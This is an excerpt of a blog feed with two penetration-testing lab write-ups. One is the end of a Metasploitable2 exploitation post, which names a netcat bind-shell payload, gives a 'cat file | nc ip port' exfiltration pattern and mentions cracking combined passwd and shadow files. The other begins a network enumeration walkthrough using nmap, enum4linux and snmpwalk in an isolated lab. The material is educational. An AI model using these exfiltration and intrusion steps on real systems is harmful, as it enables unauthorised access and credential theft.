&lt;td&gt;192.168.1.4&lt;/td&gt;
&lt;td&gt;Kali listener IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;payload&lt;/td&gt;
&lt;td&gt;cmd/unix/bind_netcat&lt;/td&gt;
&lt;td&gt;Bind shell via Netcat&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Three exploits. Three root shells. Same target, different attack surfaces.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Metasploit's Workflow Connects
&lt;/h2&gt;

&lt;p&gt;One thing that becomes clear when running these exploits back to back is how Metasploit is&lt;br&gt;
designed as a pipeline, not just a collection of scripts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;db_nmap → hosts → services → search → use → info → show options → set → exploit → shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each stage feeds the next. The database stores your scan results so you are not re-running&lt;br&gt;
Nmap every time you switch exploits. Workspaces keep different engagements isolated.&lt;br&gt;
&lt;code&gt;search&lt;/code&gt; filters by type, name, platform, CVE, rank — whatever is useful. &lt;code&gt;info&lt;/code&gt; gives you the&lt;br&gt;
full context before you commit to running anything.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Verify Your Results
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Confirm database connection&lt;/td&gt;
&lt;td&gt;&lt;code&gt;msf6&amp;gt; db_status&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List discovered services&lt;/td&gt;
&lt;td&gt;&lt;code&gt;msf6&amp;gt; services&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verify vsftpd version&lt;/td&gt;
&lt;td&gt;&lt;code&gt;msf6&amp;gt; services -S ftp&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Confirm Samba version post-exploit&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;smbd --version&lt;/code&gt; on remote shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verify root access&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;whoami&lt;/code&gt; on remote shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Check kernel version&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;uname -a&lt;/code&gt; on remote shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verify exfiltrated file&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;wc -l passwd.txt&lt;/code&gt; — should match &lt;code&gt;/etc/passwd&lt;/code&gt; line count&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Supply-chain attacks are not new.&lt;/strong&gt; Both vsftpd 2.3.4 and UnrealIRCd 3.2.8.1 were&lt;br&gt;
compromised at the distribution level — malicious code was baked into the official download.&lt;br&gt;
Users who verified package signatures would have caught this; most did not. The pattern is&lt;br&gt;
identical to modern supply-chain incidents, just from 2011 and earlier.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No authentication needed does not mean no access.&lt;/strong&gt; CVE-2007-2447 in Samba processes&lt;br&gt;
the username before authentication happens. The exploit fires before Samba even checks&lt;br&gt;
credentials. This means patching is the only mitigation — there is no authentication control that&lt;br&gt;
stops it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Netcat is still one of the most useful tools in the kit.&lt;/strong&gt; No GUI, no protocol overhead, no&lt;br&gt;
dependencies. &lt;code&gt;cat file | nc ip port&lt;/code&gt; for exfiltration and &lt;code&gt;nc -l -p port &amp;gt; file&lt;/code&gt; for receiving is&lt;br&gt;
a pattern that works across almost every Unix system regardless of what else is installed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Metasploit is a framework, not a button.&lt;/strong&gt; The power is in understanding what each module&lt;br&gt;
does, what CVE it maps to, and what options it requires — not just typing &lt;code&gt;exploit&lt;/code&gt; and hoping.&lt;br&gt;
Running &lt;code&gt;info&lt;/code&gt; before &lt;code&gt;exploit&lt;/code&gt; should be a habit.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Mistakes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mistake&lt;/th&gt;
&lt;th&gt;What Happens&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Skipping &lt;code&gt;msfdb init&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;msfconsole launches but has no database — scan results are not saved&lt;/td&gt;
&lt;td&gt;Run &lt;code&gt;sudo msfdb init&lt;/code&gt; once before first use&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not setting &lt;code&gt;LHOST&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Reverse shell has nowhere to connect back to&lt;/td&gt;
&lt;td&gt;Always set &lt;code&gt;LHOST&lt;/code&gt; to your Kali IP for reverse payloads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Running &lt;code&gt;msfdb init&lt;/code&gt; every session&lt;/td&gt;
&lt;td&gt;Overwrites existing data&lt;/td&gt;
&lt;td&gt;Run it once only; use &lt;code&gt;sudo msfdb status&lt;/code&gt; to check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Using wrong RPORT&lt;/td&gt;
&lt;td&gt;Exploit sends payload to wrong port and fails silently&lt;/td&gt;
&lt;td&gt;Confirm port from &lt;code&gt;services&lt;/code&gt; output before setting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Closing the Netcat listener too early&lt;/td&gt;
&lt;td&gt;Partial file transfer, truncated output&lt;/td&gt;
&lt;td&gt;Wait a moment after the pipe command before CTRL-C&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not running &lt;code&gt;unshadow&lt;/code&gt; before cracking&lt;/td&gt;
&lt;td&gt;Password crackers need combined format&lt;/td&gt;
&lt;td&gt;Always merge passwd + shadow before attempting cracks&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Three exploits, three root shells, two credential files exfiltrated, and one clear picture of how&lt;br&gt;
Metasploit operates as a framework. The vsftpd backdoor triggers on a smiley face in the&lt;br&gt;
username. The Samba &lt;code&gt;usermap_script&lt;/code&gt; flaw passes shell meta-characters straight to &lt;code&gt;/bin/sh&lt;/code&gt;&lt;br&gt;
before authentication. The UnrealIRCd backdoor executes commands as root the moment it sees&lt;br&gt;
&lt;code&gt;AB&lt;/code&gt; on the wire.&lt;/p&gt;

&lt;p&gt;All three vulnerabilities have one thing in common: they were not found through fuzzing or&lt;br&gt;
memory corruption. They were backdoors — intentional, inserted at the source, and effective&lt;br&gt;
until someone noticed. That context matters when thinking about software supply chains today.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>metasploitable2</category>
      <category>linux</category>
      <category>eathicalhacking</category>
    </item>
    <item>
      <title>Network Enumeration in Practice: Nmap, enum4linux, snmpwalk, and GUI Tools</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Fri, 26 Jun 2026 06:24:36 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/network-enumeration-in-practice-nmap-enum4linux-snmpwalk-and-gui-tools-h5e</link>
      <guid>https://dev.to/almahmudkhalif/network-enumeration-in-practice-nmap-enum4linux-snmpwalk-and-gui-tools-h5e</guid>
      <description>&lt;p&gt;Enumeration is the phase where a penetration tester moves from "I know something is there" to&lt;br&gt;
"I know exactly what is running, who has access, and how it is configured." It is the bridge&lt;br&gt;
between passive reconnaissance and active exploitation — and getting it right is what separates&lt;br&gt;
a surface-level scan from a real assessment.&lt;/p&gt;

&lt;p&gt;In this write-up I walk through a full enumeration exercise I ran against an isolated lab&lt;br&gt;
environment: ping sweep, stealth SYN scan with OS detection, Windows enumeration with&lt;br&gt;
enum4linux, SNMP walking, and a roundup of GUI tools. Every command is real, every screenshot&lt;br&gt;
is from the actual session.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Problem This Solves
&lt;/h2&gt;

&lt;p&gt;You have identified a target network. Now what? Raw connectivity is not enough. You need to&lt;br&gt;
know which hosts are alive, what OS they run, which services are exposed, who the local users&lt;br&gt;
are, what the password policy looks like, and whether SNMP is leaking system internals. Each of&lt;br&gt;
those questions maps to a different tool and a different technique. This post covers all of them&lt;br&gt;
in one place.&lt;/p&gt;


&lt;h2&gt;
  
  
  Lab Environment
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Machine&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;IP Address&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Kali Linux 2026.1&lt;/td&gt;
&lt;td&gt;Attacker&lt;/td&gt;
&lt;td&gt;192.168.1.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metasploitable2&lt;/td&gt;
&lt;td&gt;Linux Target&lt;/td&gt;
&lt;td&gt;192.168.1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows 7 / Windows 10&lt;/td&gt;
&lt;td&gt;Windows Target&lt;/td&gt;
&lt;td&gt;192.168.1.5 / 192.168.1.6&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Network: &lt;code&gt;192.168.1.0/24&lt;/code&gt; — fully isolated NAT network inside VirtualBox.&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 1 — Ping Sweep: Finding Live Hosts
&lt;/h2&gt;

&lt;p&gt;Before anything else, I need to know which machines are actually on the network. Nmap's &lt;code&gt;-sP&lt;/code&gt;&lt;br&gt;
flag (ping scan only) sweeps the entire subnet without touching any ports.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sP&lt;/span&gt; 192.168.1.0/24
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhqylrya4akw5jhs9r022.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhqylrya4akw5jhs9r022.png" alt=" " width="800" height="346"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What came back:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan report for 192.168.1.1  → Gateway
Nmap scan report for 192.168.1.2  → Live host
Nmap scan report for 192.168.1.3  → Metasploitable2 (MAC: 08:00:27:EF:BD:E4)
Nmap scan report for 192.168.1.4  → Kali (no MAC shown — local machine)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four hosts alive. Metasploitable2 confirmed at &lt;code&gt;192.168.1.3&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 — Stealth SYN Scan with OS Detection
&lt;/h2&gt;

&lt;p&gt;Now I want the full picture on the target: open ports, service versions, and OS fingerprint. The&lt;br&gt;
&lt;code&gt;-sSV&lt;/code&gt; flags combine a SYN stealth scan with version detection. &lt;code&gt;-O&lt;/code&gt; adds OS fingerprinting.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sSV&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; 192.168.1.3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpllj2gjrm1fjuvhc7thp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpllj2gjrm1fjuvhc7thp.png" alt=" " width="800" height="563"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A SYN scan sends a SYN packet and waits for SYN/ACK — it never completes the three-way&lt;br&gt;
handshake, so many older logging systems miss it entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key results:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP&lt;/td&gt;
&lt;td&gt;vsftpd 2.3.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 4.7p1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23/tcp&lt;/td&gt;
&lt;td&gt;Telnet&lt;/td&gt;
&lt;td&gt;Linux telnetd&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache 2.2.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3306/tcp&lt;/td&gt;
&lt;td&gt;MySQL&lt;/td&gt;
&lt;td&gt;5.0.51a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5432/tcp&lt;/td&gt;
&lt;td&gt;PostgreSQL&lt;/td&gt;
&lt;td&gt;8.3.0–8.3.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5900/tcp&lt;/td&gt;
&lt;td&gt;VNC&lt;/td&gt;
&lt;td&gt;Protocol 3.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1524/tcp&lt;/td&gt;
&lt;td&gt;Backdoor&lt;/td&gt;
&lt;td&gt;Metasploitable root shell&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;OS Details:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 – 2.6.33
Network Distance: 1 hop
Service Info: metasploitable.localdomain, irc.Metasploitable.LAN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Metasploitable2 is deliberately over-exposed — that is the point of the VM — but the scan&lt;br&gt;
output shows exactly the kind of data an attacker would use to prioritize entry points.&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 3 — Windows Enumeration with enum4linux
&lt;/h2&gt;

&lt;p&gt;Enum4linux is a wrapper around several Samba tools (&lt;code&gt;nmblookup&lt;/code&gt;, &lt;code&gt;net&lt;/code&gt;, &lt;code&gt;rpcclient&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;smbclient&lt;/code&gt;) that automates the extraction of Windows/Samba information over SMB.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; Windows 7 VM at &lt;code&gt;192.168.1.5&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Credentials used:&lt;/strong&gt; &lt;code&gt;khalif&lt;/code&gt; / &lt;code&gt;admin&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Enumerate Users
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;enum4linux &lt;span class="nt"&gt;-u&lt;/span&gt; khalif &lt;span class="nt"&gt;-p&lt;/span&gt; admin &lt;span class="nt"&gt;-U&lt;/span&gt; 192.168.1.5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhgcq77kklca376nd4tjk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhgcq77kklca376nd4tjk.png" alt=" " width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Users found:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Account&lt;/th&gt;
&lt;th&gt;RID&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Administrator&lt;/td&gt;
&lt;td&gt;0x1f4&lt;/td&gt;
&lt;td&gt;Built-in admin account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dummytestwin7&lt;/td&gt;
&lt;td&gt;0x3e9&lt;/td&gt;
&lt;td&gt;Test account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Guest&lt;/td&gt;
&lt;td&gt;0x1f5&lt;/td&gt;
&lt;td&gt;Built-in guest account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;khalif&lt;/td&gt;
&lt;td&gt;0x3e8&lt;/td&gt;
&lt;td&gt;Local user&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The domain/workgroup resolved to &lt;code&gt;WORKGROUP&lt;/code&gt; with a NULL SID — meaning this machine is&lt;br&gt;
not joined to a domain.&lt;/p&gt;
&lt;h3&gt;
  
  
  Enumerate Password Policy
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;enum4linux &lt;span class="nt"&gt;-u&lt;/span&gt; khalif &lt;span class="nt"&gt;-p&lt;/span&gt; admin &lt;span class="nt"&gt;-P&lt;/span&gt; 192.168.1.5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8mspcg0qtuam3pygfsaq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8mspcg0qtuam3pygfsaq.png" alt=" " width="800" height="560"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Policy extracted:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Setting&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Minimum password length&lt;/td&gt;
&lt;td&gt;None (0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password complexity&lt;/td&gt;
&lt;td&gt;Disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password history length&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Maximum password age&lt;/td&gt;
&lt;td&gt;41 days 23 hours&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Account lockout duration&lt;/td&gt;
&lt;td&gt;30 minutes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reset lockout counter&lt;/td&gt;
&lt;td&gt;30 minutes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lockout threshold&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forced logoff time&lt;/td&gt;
&lt;td&gt;Not set&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;No complexity requirement and no minimum length is a serious misconfiguration — trivially&lt;br&gt;
crackable passwords are allowed by policy.&lt;/p&gt;
&lt;h3&gt;
  
  
  Enumerate Groups
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;enum4linux &lt;span class="nt"&gt;-u&lt;/span&gt; khalif &lt;span class="nt"&gt;-p&lt;/span&gt; admin &lt;span class="nt"&gt;-G&lt;/span&gt; 192.168.1.5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo2am019vbfwcbsmtzrm2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo2am019vbfwcbsmtzrm2.png" alt=" " width="800" height="530"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Built-in groups found:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Administrators (RID 0x220) — members: &lt;code&gt;WINDOWS07\Administrator&lt;/code&gt;, &lt;code&gt;WINDOWS07\khalif&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Users (RID 0x221) — members: &lt;code&gt;NT AUTHORITY\INTERACTIVE&lt;/code&gt;, &lt;code&gt;NT AUTHORITY\Authenticated Users&lt;/code&gt;, &lt;code&gt;WINDOWS07\khalif&lt;/code&gt;, &lt;code&gt;WINDOWS07\dummytestwin7&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Guests (RID 0x222) — member: &lt;code&gt;WINDOWS07\Guest&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;IIS_IUSRS, Event Log Readers, Performance Log Users, Performance Monitor Users, Distributed COM Users&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Notably, &lt;code&gt;khalif&lt;/code&gt; sits in both &lt;code&gt;Users&lt;/code&gt; and &lt;code&gt;Administrators&lt;/code&gt; — a privilege issue worth flagging&lt;br&gt;
in any real assessment.&lt;/p&gt;
&lt;h3&gt;
  
  
  Enumerate Shares
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;enum4linux &lt;span class="nt"&gt;-u&lt;/span&gt; khalif &lt;span class="nt"&gt;-p&lt;/span&gt; admin &lt;span class="nt"&gt;-S&lt;/span&gt; 192.168.1.5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdwf97gelm94pkyyirx8s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdwf97gelm94pkyyirx8s.png" alt=" " width="800" height="307"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shares found:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Share&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Comment&lt;/th&gt;
&lt;th&gt;Access&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ADMIN$&lt;/td&gt;
&lt;td&gt;Disk&lt;/td&gt;
&lt;td&gt;Remote Admin&lt;/td&gt;
&lt;td&gt;DENIED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C$&lt;/td&gt;
&lt;td&gt;Disk&lt;/td&gt;
&lt;td&gt;Default share&lt;/td&gt;
&lt;td&gt;DENIED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IPC$&lt;/td&gt;
&lt;td&gt;IPC&lt;/td&gt;
&lt;td&gt;Remote IPC&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;All administrative shares were present but mapping was denied — which is the expected behavior&lt;br&gt;
for non-domain environments without explicit share permissions granted.&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 4 — SNMP Enumeration with snmpwalk
&lt;/h2&gt;

&lt;p&gt;SNMP (Simple Network Management Protocol) is a protocol designed for monitoring and managing&lt;br&gt;
network devices. When misconfigured — specifically when using the default community string&lt;br&gt;
&lt;code&gt;public&lt;/code&gt; — it hands over a remarkable amount of system information to anyone who asks.&lt;/p&gt;

&lt;p&gt;First, check if port 161 (SNMP UDP) is open:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 161 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you want to practice locally, install &lt;code&gt;snmpd&lt;/code&gt; on Kali:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;snmpd
&lt;span class="nb"&gt;sudo &lt;/span&gt;service snmpd start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then walk the MIB tree:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;snmpwalk &lt;span class="nt"&gt;-v&lt;/span&gt; 2c &lt;span class="nt"&gt;-c&lt;/span&gt; public 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



